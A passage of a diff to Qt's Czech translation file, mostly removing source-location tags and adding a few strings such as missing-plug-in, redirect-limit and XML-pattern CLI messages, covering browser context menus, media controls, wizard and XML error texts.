- <location line="+5"/>
<source>Open Frame</source>
<comment>Open Frame in New Window context menu item</comment>
<translation>Otevřít rámec</translation>
</message>
<message>
- <location line="+5"/>
<source>Copy</source>
<comment>Copy context menu item</comment>
<translation>Kopírovat</translation>
</message>
<message>
- <location line="+5"/>
<source>Go Back</source>
<comment>Back context menu item</comment>
<translation>Jít zpět</translation>
</message>
<message>
- <location line="+5"/>
<source>Go Forward</source>
<comment>Forward context menu item</comment>
<translation>Jít dopředu</translation>
</message>
<message>
- <location line="+5"/>
<source>Stop</source>
<comment>Stop context menu item</comment>
<translation>Zastavit</translation>
</message>
<message>
- <location line="+5"/>
<source>Reload</source>
<comment>Reload context menu item</comment>
<translation>Nahrát znovu</translation>
</message>
<message>
- <location line="+5"/>
<source>Cut</source>
<comment>Cut context menu item</comment>
<translation>Vyjmout</translation>
</message>
<message>
- <location line="+5"/>
<source>Paste</source>
<comment>Paste context menu item</comment>
<translation>Vložit</translation>
</message>
<message>
- <location line="+5"/>
<source>No Guesses Found</source>
<comment>No Guesses Found context menu item</comment>
<translation>Nebyly nalezeny žádné návrhy</translation>
</message>
<message>
- <location line="+5"/>
<source>Ignore</source>
<comment>Ignore Spelling context menu item</comment>
<translation>Přehlížet</translation>
</message>
<message>
- <location line="+5"/>
<source>Add To Dictionary</source>
<comment>Learn Spelling context menu item</comment>
<translation>Přidat do slovníku</translation>
</message>
<message>
- <location line="+5"/>
<source>Search The Web</source>
<comment>Search The Web context menu item</comment>
<translation>Hledat na síti</translation>
</message>
<message>
- <location line="+5"/>
<source>Look Up In Dictionary</source>
<comment>Look Up in Dictionary context menu item</comment>
<translation>Podívat se do slovníku</translation>
</message>
<message>
- <location line="+5"/>
<source>Open Link</source>
<comment>Open Link context menu item</comment>
<translation>Otevřít adresu odkazu</translation>
</message>
<message>
- <location line="+5"/>
<source>Ignore</source>
<comment>Ignore Grammar context menu item</comment>
<translation>Přehlížet</translation>
</message>
<message>
- <location line="+5"/>
<source>Spelling</source>
<comment>Spelling and Grammar context sub-menu item</comment>
<translation>Pravopis</translation>
</message>
<message>
- <location line="+5"/>
<source>Show Spelling and Grammar</source>
<comment>menu item title</comment>
<translation>Ukázat pravopis a mluvnici</translation>
</message>
<message>
- <location line="+1"/>
<source>Hide Spelling and Grammar</source>
<comment>menu item title</comment>
<translation>Skrýt pravopis a mluvnici</translation>
</message>
<message>
- <location line="+5"/>
<source>Check Spelling</source>
<comment>Check spelling context menu item</comment>
<translation>Ověření pravopisu</translation>
</message>
<message>
- <location line="+5"/>
<source>Check Spelling While Typing</source>
<comment>Check spelling while typing context menu item</comment>
<translation>Ověřovat pravopis během psaní</translation>
</message>
<message>
- <location line="+5"/>
<source>Check Grammar With Spelling</source>
<comment>Check grammar with spelling context menu item</comment>
<translation>Ověřovat mluvnici společně s pravopisem</translation>
</message>
<message>
- <location line="+5"/>
<source>Fonts</source>
<comment>Font context sub-menu item</comment>
<translation>Písma</translation>
</message>
<message>
- <location line="+5"/>
<source>Bold</source>
<comment>Bold context menu item</comment>
<translation>Tučné</translation>
</message>
<message>
- <location line="+5"/>
<source>Italic</source>
<comment>Italic context menu item</comment>
<translation>Kurzíva</translation>
</message>
<message>
- <location line="+5"/>
<source>Underline</source>
<comment>Underline context menu item</comment>
<translation>Podtržení</translation>
</message>
<message>
- <location line="+5"/>
<source>Outline</source>
<comment>Outline context menu item</comment>
<translation>Obrys</translation>
</message>
<message>
- <location line="+5"/>
<source>Direction</source>
<comment>Writing direction context sub-menu item</comment>
<translation>Směr</translation>
</message>
<message>
- <location line="+5"/>
<source>Text Direction</source>
<comment>Text direction context sub-menu item</comment>
<translation>Směr psaní</translation>
</message>
<message>
- <location line="+5"/>
<source>Default</source>
<comment>Default writing direction context menu item</comment>
<translation>Výchozí</translation>
</message>
<message>
- <location line="+5"/>
<source>Left to Right</source>
<comment>Left to Right context menu item</comment>
<translation>Zleva doprava</translation>
</message>
<message>
- <location line="+5"/>
<source>Right to Left</source>
<comment>Right to Left context menu item</comment>
<translation>Zprava doleva</translation>
</message>
<message>
- <location line="+105"/>
+ <source>Missing Plug-in</source>
+ <comment>Label text to be used when a plug-in is missing</comment>
+ <translation>Chybějící přídavný modul</translation>
+ </message>
+ <message>
<source>Loading...</source>
<comment>Media controller status message when the media is loading</comment>
<translation>Nahrává se...</translation>
</message>
<message>
- <location line="+5"/>
<source>Live Broadcast</source>
<comment>Media controller status message when watching a live broadcast</comment>
<translation>Živý přenos</translation>
</message>
<message>
- <location line="+8"/>
<source>Audio Element</source>
<comment>Media controller element</comment>
<translation>Zvukový prvek</translation>
</message>
<message>
- <location line="+2"/>
<source>Video Element</source>
<comment>Media controller element</comment>
<translation>Videoprvek</translation>
</message>
<message>
- <location line="+2"/>
<source>Mute Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro ztlumení</translation>
</message>
<message>
- <location line="+2"/>
<source>Unmute Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro zrušení ztlumení</translation>
</message>
<message>
- <location line="+2"/>
<source>Play Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro přehrávání</translation>
</message>
<message>
- <location line="+2"/>
<source>Pause Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro pozastavení</translation>
</message>
<message>
- <location line="+2"/>
<source>Slider</source>
<comment>Media controller element</comment>
<translation>Posuvník</translation>
</message>
<message>
- <location line="+2"/>
<source>Slider Thumb</source>
<comment>Media controller element</comment>
<translation>Palec posuvníku</translation>
</message>
<message>
- <location line="+2"/>
<source>Rewind Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro přetočení</translation>
</message>
<message>
- <location line="+2"/>
<source>Return to Real-time Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro návrat ke skutečnému času</translation>
</message>
<message>
- <location line="+2"/>
<source>Elapsed Time</source>
<comment>Media controller element</comment>
<translation>Uplynulý čas</translation>
</message>
<message>
- <location line="+2"/>
<source>Remaining Time</source>
<comment>Media controller element</comment>
<translation>Zbývající čas</translation>
</message>
<message>
- <location line="+2"/>
<source>Status Display</source>
<comment>Media controller element</comment>
<translation>Údaj o stavu</translation>
</message>
<message>
- <location line="+2"/>
<source>Fullscreen Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro zobrazení na celou obrazovku</translation>
</message>
<message>
- <location line="+2"/>
<source>Seek Forward Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro hledání dopředu</translation>
</message>
<message>
- <location line="+2"/>
<source>Seek Back Button</source>
<comment>Media controller element</comment>
<translation>Tlačítko pro hledání dozadu</translation>
</message>
<message>
- <location line="+8"/>
<source>Audio element playback controls and status display</source>
<comment>Media controller element</comment>
<translation>Řízení přehrávání zvuku a zobrazení stavu</translation>
</message>
<message>
- <location line="+2"/>
<source>Video element playback controls and status display</source>
<comment>Media controller element</comment>
<translation>Řízení přehrávání videa a zobrazení stavu</translation>
</message>
<message>
- <location line="+2"/>
<source>Mute audio tracks</source>
<comment>Media controller element</comment>
<translation>Ztlumit zvukové stopy</translation>
</message>
<message>
- <location line="+2"/>
<source>Unmute audio tracks</source>
<comment>Media controller element</comment>
<translation>Zrušit ztlumení zvukových stop</translation>
</message>
<message>
- <location line="+2"/>
<source>Begin playback</source>
<comment>Media controller element</comment>
<translation>Začít přehrávání</translation>
</message>
<message>
- <location line="+2"/>
<source>Pause playback</source>
<comment>Media controller element</comment>
<translation>Pozastavit přehrávání</translation>
</message>
<message>
- <location line="+2"/>
<source>Movie time scrubber</source>
<comment>Media controller element</comment>
<translation>Čas přehrávání</translation>
</message>
<message>
- <location line="+2"/>
<source>Movie time scrubber thumb</source>
<comment>Media controller element</comment>
<translation>Palec pro nastavení času přehrávání</translation>
</message>
<message>
- <location line="+2"/>
<source>Rewind movie</source>
<comment>Media controller element</comment>
<translation>Přetočit film zpět</translation>
</message>
<message>
- <location line="+2"/>
<source>Return streaming movie to real-time</source>
<comment>Media controller element</comment>
<translation>Vrátit film na skutečný čas</translation>
</message>
<message>
- <location line="+2"/>
<source>Current movie time</source>
<comment>Media controller element</comment>
<translation>Čas přehrávání filmu</translation>
</message>
<message>
- <location line="+2"/>
<source>Remaining movie time</source>
<comment>Media controller element</comment>
<translation>Zbývající čas z přehrávání filmu</translation>
</message>
<message>
- <location line="+2"/>
<source>Current movie status</source>
<comment>Media controller element</comment>
<translation>Stav filmu</translation>
</message>
<message>
- <location line="+2"/>
<source>Play movie in full-screen mode</source>
<comment>Media controller element</comment>
<translation>Přehrávat film v režimu zobrazení na celou obrazovku</translation>
</message>
<message>
- <location line="+2"/>
<source>Seek quickly back</source>
<comment>Media controller element</comment>
<translation>Rychlé zpětné hledání</translation>
</message>
<message>
- <location line="+2"/>
<source>Seek quickly forward</source>
<comment>Media controller element</comment>
<translation>Rychlé dopředné hledání</translation>
</message>
<message>
- <location line="+9"/>
<source>Indefinite time</source>
<comment>Media time description</comment>
<translation>Neomezený čas</translation>
</message>
<message>
- <location line="+9"/>
<source>%1 days %2 hours %3 minutes %4 seconds</source>
<comment>Media time description</comment>
<translation>%1 dny %2 hodiny %3 minuty %4 sekundy</translation>
</message>
<message>
- <location line="+4"/>
<source>%1 hours %2 minutes %3 seconds</source>
<comment>Media time description</comment>
<translation>%1 hodiny %2 minuty %3 sekundy</translation>
</message>
<message>
- <location line="+4"/>
<source>%1 minutes %2 seconds</source>
<comment>Media time description</comment>
<translation>%1 minuty %2 sekundy</translation>
</message>
<message>
- <location line="+3"/>
<source>%1 seconds</source>
<comment>Media time description</comment>
<translation>%1 sekundy</translation>
@@ -7175,37 +7714,31 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Zprava doleva</translation>
</message>
<message>
- <location line="-210"/>
<source>Inspect</source>
<comment>Inspect Element context menu item</comment>
<translation>Provést prohlídku</translation>
</message>
<message>
- <location line="+5"/>
<source>No recent searches</source>
<comment>Label for only item in menu that appears when clicking on the search field image, when no searches have been performed</comment>
<translation>Neexistují žádné naposledy hledané výrazy</translation>
</message>
<message>
- <location line="+5"/>
<source>Recent searches</source>
<comment>label for first item in the menu that appears when clicking on the search field image, used as embedded menu title</comment>
<translation>Dosavadní hledané výrazy</translation>
</message>
<message>
- <location line="+5"/>
<source>Clear recent searches</source>
<comment>menu item in Recent Searches menu that empties menu&apos;s contents</comment>
<translation>Smazat naposledy hledané výrazy</translation>
</message>
<message>
- <location line="+75"/>
<source>Unknown</source>
<comment>Unknown filesize FTP directory listing item</comment>
<translation>Neznámý</translation>
</message>
<message>
- <location line="+5"/>
<source>%1 (%2x%3 pixels)</source>
<comment>Title string for images</comment>
<translation>%1 (%2x%3 pixelů)</translation>
@@ -7223,17 +7756,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Neexistují žádné naposledy hledané výrazy</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+1"/>
<source>Page right</source>
<translation>O stranu doprava</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+12"/>
<source>Move the cursor to the start of the document</source>
<translation>Ukazatel polohy posunout na začátek dokumentu</translation>
</message>
<message>
- <location line="-30"/>
<source>Move the cursor to the next character</source>
<translation>Ukazatel polohy posunout k následujícímu znaku</translation>
</message>
@@ -7242,12 +7772,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Kopírovat adresu odkazu</translation>
</message>
<message>
- <location line="+54"/>
<source>Select to the previous line</source>
<translation>Vybrat až po předchozí řádek</translation>
</message>
<message>
- <location line="-6"/>
<source>Select to the previous word</source>
<translation>Vybrat až po předchozí slovo</translation>
</message>
@@ -7256,7 +7784,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Kontrola pravopisu</translation>
</message>
<message>
- <location line="-9"/>
<source>Select to the next character</source>
<translation>Vybrat až po následující znak</translation>
</message>
@@ -7265,7 +7792,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Ukázat pravopis a mluvnici</translation>
</message>
<message>
- <location line="+39"/>
<source>Delete to the end of the word</source>
<translation>Smazat až po konec slova</translation>
</message>
@@ -7274,12 +7800,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Směr</translation>
</message>
<message>
- <location line="-18"/>
<source>Select to the end of the line</source>
<translation>Vybrat až po začátek řádku</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/Localizations.cpp" line="-307"/>
<source>Submit</source>
<comment>Submit (input element) alt text for &lt;input&gt; elements with no alt, title, or value</comment>
<translation>Poslat</translation>
@@ -7289,7 +7813,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Vybrat soubor</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+3"/>
<source>Scroll up</source>
<translation>Projíždět nahoru</translation>
</message>
@@ -7298,7 +7821,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Smazat naposledy hledané výrazy</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+9"/>
<source>Select to the start of the document</source>
<translation>Vybrat až po začátek dokumentu</translation>
</message>
@@ -7311,7 +7833,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Podtrhnout</translation>
</message>
<message>
- <location line="-66"/>
<source>Move the cursor to the previous character</source>
<translation>Ukazatel polohy posunout k předchozímu znaku</translation>
</message>
@@ -7320,17 +7841,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Kopírovat vyobrazení</translation>
</message>
<message>
- <location line="+69"/>
<source>Select to the end of the document</source>
<translation>Vybrat až po konec dokumentu</translation>
</message>
<message>
- <location line="-6"/>
<source>Select to the end of the block</source>
<translation>Vybrat až po konec bloku</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+1"/>
<source>Scroll right</source>
<translation>Projíždět doprava</translation>
</message>
@@ -7343,7 +7861,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Otevřít adresu odkazu</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/network/qt/QNetworkReplyHandler.cpp" line="+406"/>
+ <source>Redirection limit reached</source>
+ <translation>Dosaženo krajní meze pro přesměrování</translation>
+ </message>
+ <message>
<source>Bad HTTP request</source>
<translation>Neplatný požadavek HTTP</translation>
</message>
@@ -7352,12 +7873,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Neznámý</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="-57"/>
<source>Move the cursor to the previous word</source>
<translation>Ukazatel polohy posunout k předchozímu slovu</translation>
</message>
<message>
- <location line="+6"/>
<source>Move the cursor to the previous line</source>
<translation>Ukazatel polohy posunout na předchozí řádku</translation>
</message>
@@ -7366,7 +7885,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">%n soubor(ů)</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="-9"/>
<source>Left edge</source>
<translation>Levý okraj</translation>
</message>
@@ -7375,12 +7893,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Jít dopředu</translation>
</message>
<message>
- <location line="+5"/>
<source>Page down</source>
<translation>O stranu dolů</translation>
</message>
<message>
- <location line="-1"/>
<source>Page left</source>
<translation>O stranu doleva</translation>
</message>
@@ -7389,7 +7905,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Tento index má funkci hledání. Zadejte nějaký hledaný výraz:</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+27"/>
<source>Select to the previous character</source>
<translation>Vybrat až po předchozí znak</translation>
</message>
@@ -7402,12 +7917,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Otevřít v novém okně</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="-3"/>
<source>Right edge</source>
<translation>Pravý okraj</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="-9"/>
<source>Move the cursor to the end of the document</source>
<translation>Ukazatel polohy posunout na konec dokumentu</translation>
</message>
@@ -7420,30 +7933,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">%1 (%2x%3 pixelů)</translation>
</message>
<message>
- <location line="+12"/>
<source>Select to the next word</source>
<translation>Vybrat až po následující slovo</translation>
</message>
<message>
- <location line="+6"/>
<source>Select to the next line</source>
<translation>Vybrat až po následující řádek</translation>
</message>
<message numerus="yes">
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/FileChooserQt.cpp" line="+45"/>
<source>%n file(s)</source>
<comment>number of chosen file</comment>
<translation>
- <numerusform>%n soubor(ů)</numerusform>
- <numerusform></numerusform>
- <numerusform></numerusform>
+ <numerusform>jeden soubor</numerusform>
+ <numerusform>%n soubory</numerusform>
+ <numerusform>%n souborů</numerusform>
</translation>
</message>
</context>
<context>
<name>QWhatsThisAction</name>
<message>
- <location filename="../src/gui/kernel/qwhatsthis.cpp" line="+527"/>
<source>What&apos;s This?</source>
<translation>Co je toto?</translation>
</message>
@@ -7451,7 +7960,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QWidget</name>
<message>
- <location filename="../src/gui/kernel/qwidget.cpp" line="+5672"/>
<source>*</source>
<translation>*</translation>
</message>
@@ -7459,57 +7967,46 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QWizard</name>
<message>
- <location filename="../src/gui/dialogs/qwizard.cpp" line="+659"/>
<source>Done</source>
<translation>Hotovo</translation>
</message>
<message>
- <location line="+4"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location line="+0"/>
<source>&amp;Help</source>
<translation>&amp;Nápověda</translation>
</message>
<message>
- <location line="-8"/>
<source>&amp;Next</source>
<translation>&amp;Další</translation>
</message>
<message>
- <location line="+6"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="-4"/>
<source>Commit</source>
<translation>Použít</translation>
</message>
<message>
- <location line="-5"/>
<source>Continue</source>
<translation>Pokračovat</translation>
</message>
<message>
- <location line="+7"/>
<source>&amp;Finish</source>
<translation>Do&amp;končit</translation>
</message>
<message>
- <location line="-4"/>
<source>&amp;Next &gt;</source>
<translation>&amp;Další &gt;</translation>
</message>
<message>
- <location line="-6"/>
<source>Go Back</source>
<translation>Jít zpět</translation>
</message>
<message>
- <location line="+0"/>
<source>&lt; &amp;Back</source>
<translation>&lt; &amp;Zpět</translation>
</message>
@@ -7517,69 +8014,54 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QWorkspace</name>
<message>
- <location filename="../src/gui/widgets/qworkspace.cpp" line="+1090"/>
<source>&amp;Move</source>
<translation>Po&amp;sunout</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Size</source>
<translation>Změnit &amp;velikost</translation>
</message>
<message>
- <location line="-978"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="+2"/>
<source>Minimize</source>
<translation>Zmenšit</translation>
</message>
<message>
- <location line="+988"/>
<source>Stay on &amp;Top</source>
<translation>Zůstat v &amp;popředí</translation>
</message>
<message>
- <location line="-6"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
<message>
- <location line="+790"/>
- <location line="+60"/>
<source>%1 - [%2]</source>
<translation>%1 - [%2]</translation>
</message>
<message>
- <location line="-841"/>
- <location line="+1059"/>
<source>Sh&amp;ade</source>
<translation>&amp;Navinout</translation>
</message>
<message>
- <location line="-1076"/>
<source>&amp;Restore</source>
<translation>&amp;Obnovit</translation>
</message>
<message>
- <location line="+1072"/>
<source>&amp;Unshade</source>
<translation>&amp;Odvinout</translation>
</message>
<message>
- <location line="-1068"/>
<source>Mi&amp;nimize</source>
<translation>&amp;Zmenšit</translation>
</message>
<message>
- <location line="+2"/>
<source>Ma&amp;ximize</source>
<translation>Zvě&amp;tšit</translation>
</message>
<message>
- <location line="-978"/>
<source>Restore Down</source>
<translation>Obnovit</translation>
</message>
@@ -7587,302 +8069,260 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QXml</name>
<message>
- <location filename="../src/xml/sax/qxml.cpp" line="+78"/>
<source>unparsed entity reference in wrong context</source>
<translation>používán nevyhodnocený odkaz na entitu v nesprávné souvislosti</translation>
</message>
<message>
- <location line="-1"/>
<source>external parsed general entity reference not allowed in DTD</source>
<translation>v DTD nejsou dovoleny žádné odkazy na vnější obecnou entitu</translation>
</message>
<message>
- <location line="-9"/>
<source>wrong value for standalone declaration</source>
<translation>nesprávná hodnota pro samostatné prohlášení</translation>
</message>
<message>
- <location line="+1"/>
<source>encoding declaration or standalone declaration expected while reading the XML declaration</source>
<translation>chybějící prohlášení kódování nebo prohlášení samostatnosti při čtení prohlášení XML</translation>
</message>
<message>
- <location line="-11"/>
<source>no error occurred</source>
<translation>žádná chyba</translation>
</message>
<message>
- <location line="+16"/>
<source>error occurred while parsing reference</source>
<translation>při vyhodnocení odkazu se vyskytla chyba</translation>
</message>
<message>
- <location line="-4"/>
<source>standalone declaration expected while reading the XML declaration</source>
<translation>chybějící prohlášení samostatnosti při čtení prohlášení XML</translation>
</message>
<message>
- <location line="-4"/>
<source>invalid name for processing instruction</source>
<translation>neplatný název pro pokyn pro zpracování</translation>
</message>
<message>
- <location line="-7"/>
<source>error triggered by consumer</source>
<translation>chyba spuštěná spotřebitelem</translation>
</message>
<message>
- <location line="+3"/>
<source>error occurred while parsing element</source>
<translation>při vyhodnocení prvku se vyskytla chyba</translation>
</message>
<message>
- <location line="+3"/>
<source>unexpected character</source>
<translation>neočekávaný znak</translation>
</message>
<message>
- <location line="-2"/>
<source>tag mismatch</source>
<translation>Značky prvků nejsou vkládány správně</translation>
</message>
<message>
- <location line="+1"/>
<source>error occurred while parsing content</source>
<translation>při vyhodnocení obsahu se vyskytla chyba</translation>
</message>
<message>
- <location line="+9"/>
<source>error occurred while parsing comment</source>
<translation>při vyhodnocení poznámky se vyskytla chyba</translation>
</message>
<message>
- <location line="+2"/>
<source>internal general entity reference not allowed in DTD</source>
<translation>v DTD nejsou dovoleny žádné odkazy na vnitřní obecnou entitu</translation>
</message>
<message>
- <location line="+4"/>
<source>recursive entities</source>
<translation>rekurzivní entity</translation>
</message>
<message>
- <location line="-18"/>
<source>more than one document type definition</source>
<translation>více definicí typu dokumentu</translation>
</message>
<message>
- <location line="+6"/>
<source>version expected while reading the XML declaration</source>
<translation>chybějící verze při čtení prohlášení XML</translation>
</message>
<message>
- <location line="+5"/>
<source>letter is expected</source>
<translation>na tomto místě je potřeba písmeno</translation>
</message>
<message>
- <location line="-12"/>
<source>unexpected end of file</source>
<translation>neočekávaný konec souboru</translation>
</message>
<message>
- <location line="+16"/>
<source>external parsed general entity reference not allowed in attribute value</source>
<translation>v hodnotě vlastnosti nejsou dovoleny žádné odkazy na vnější obecnou entitu</translation>
</message>
<message>
- <location line="+4"/>
<source>error in the text declaration of an external entity</source>
<translation>Chyba v prohlášení textu vnější entity</translation>
</message>
<message>
- <location line="-9"/>
<source>error occurred while parsing document type definition</source>
<translation>při vyhodnocení definice typu dokumentu se vyskytla chyba</translation>
</message>
</context>
<context>
+ <name>QXmlPatternistCLI</name>
+ <message>
+ <source>Warning in %1, at line %2, column %3: %4</source>
+ <translation>Varování v %1, na řádku %2, sloupec %3: %4</translation>
+ </message>
+ <message>
+ <source>Warning in %1: %2</source>
+ <translation>Varování v %1: %2</translation>
+ </message>
+ <message>
+ <source>Unknown location</source>
+ <translation>Neznámé umístění</translation>
+ </message>
+ <message>
+ <source>Error %1 in %2, at line %3, column %4: %5</source>
+ <translation>Chyba %1 v %2, na řádku %3, sloupec %4: %5</translation>
+ </message>
+ <message>
+ <source>Error %1 in %2: %3</source>
+ <translation>Chyba %1 v %2: %3</translation>
+ </message>
+</context>
+<context>
<name>QXmlStream</name>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+1800"/>
<source>Reference to unparsed entity &apos;%1&apos;.</source>
<translation>Odkaz na nevyhodnocenou entitu &apos;%1&apos;.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="+1752"/>
<source>Unexpected character &apos;%1&apos; in public id literal.</source>
<translation>&apos;%1&apos; není platným znakem v údaji veřejného id, který je tvořen písmeny.</translation>
</message>
<message>
- <location line="-160"/>
- <location line="+12"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-109"/>
- <location line="+53"/>
<source>Illegal namespace declaration.</source>
<translation>Neplatné prohlášení jmenného prostoru.</translation>
</message>
<message>
- <location line="-613"/>
<source>Invalid XML character.</source>
<translation>Neplatný znak XML.</translation>
</message>
<message>
- <location line="+1137"/>
<source>Expected character data.</source>
<translation>Byly očekávány údaje o znacích.</translation>
</message>
<message>
- <location line="-300"/>
<source>Standalone accepts only yes or no.</source>
<translation>Hodnota pro samostatnou vlastnost může být pouze &quot;ano&quot; nebo &quot;ne&quot;.</translation>
</message>
<message>
- <location line="-48"/>
<source>Invalid XML version string.</source>
<translation>Neplatný údaj o verzi XML.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-217"/>
<source>Invalid processing instruction name.</source>
<translation>Název pokynu pro zpracování je neplatný.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-221"/>
<source>Namespace prefix &apos;%1&apos; not declared</source>
<translation>Předpona jmenného prostoru &apos;%1&apos; nebyla prohlášena</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+260"/>
- <location line="+61"/>
- <location line="+40"/>
<source>Entity &apos;%1&apos; not declared.</source>
<translation>Entita &apos;%1&apos; není prohlášena.</translation>
</message>
<message>
- <location line="-372"/>
<source>%1 is an invalid processing instruction name.</source>
<translation>%1 není platným názvem pokynu pro zpracování.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="+244"/>
<source>The standalone pseudo attribute must appear after the encoding.</source>
<translation>Samostatná pseudovlastnost musí následovat bezprostředně po kódování.</translation>
</message>
<message>
- <location line="-553"/>
<source>Sequence &apos;]]&gt;&apos; not allowed in content.</source>
<translation>Sled znaků &apos;]]&gt;&apos; není v obsahu povolen.</translation>
</message>
<message>
- <location line="+555"/>
<source>%1 is an invalid encoding name.</source>
<translation>%1 není platným názvem pro kódování.</translation>
</message>
<message>
- <location line="+94"/>
<source>, but got &apos;</source>
<translation>očekáváno, namísto toho obdrženo &apos;</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-225"/>
<source>Start tag expected.</source>
<translation>Očekáván otevírající prvek.</translation>
</message>
<message>
- <location line="+611"/>
<source>Invalid character reference.</source>
<translation>Odkaz na neplatný znak.</translation>
</message>
<message>
- <location line="-40"/>
<source>Reference to external entity &apos;%1&apos; in attribute value.</source>
<translation>V hodnotě vlastnosti byla odkazována entita &apos;%1&apos;.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-11"/>
<source>Expected </source>
<translation>Bylo </translation>
</message>
<message>
- <location line="-40"/>
<source>Invalid document.</source>
<translation>Neplatný dokument.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-80"/>
<source>Opening and ending tag mismatch.</source>
<translation>Počet otevírajících prvků neodpovídá neodpovídá počtu zavírajících prvků.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-319"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-703"/>
<source>Encountered incorrectly encoded content.</source>
<translation>Byl nalezen obsah s neplatným kódováním.</translation>
</message>
<message>
- <location line="+301"/>
<source>Invalid attribute in XML declaration.</source>
<translation>Prohlášení XML obsahuje neplatnou vlastnost.</translation>
</message>
<message>
- <location line="-193"/>
<source>Attribute redefined.</source>
<translation>Vlastnost byla nově vymezena.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+562"/>
<source>%1 is an invalid PUBLIC identifier.</source>
<translation>%1 není platným údajem VEŘEJNÉHO identifikátoru (id).</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-1026"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+129"/>
<source>Extra content at end of document.</source>
<translation>Přebytečný obsah za koncem dokumentu.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-11"/>
<source>Invalid XML name.</source>
<translation>Neplatný název XML.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="+1235"/>
<source>Premature end of document.</source>
<translation>Předčasný konec dokumentu.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-246"/>
<source>XML declaration not at start of document.</source>
<translation>Prohlášení XML se nenachází na začátku dokumentu.</translation>
</message>
<message>
- <location line="-738"/>
<source>Recursive entity detected.</source>
<translation>Byla zjištěna rekurzivní entita.</translation>
</message>
<message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-64"/>
<source>Unsupported XML version.</source>
<translation>Tato verze XML není podporována.</translation>
</message>
<message>
- <location line="+121"/>
<source>Unexpected &apos;</source>
<translation>Na tomto místě neplatný &apos; </translation>
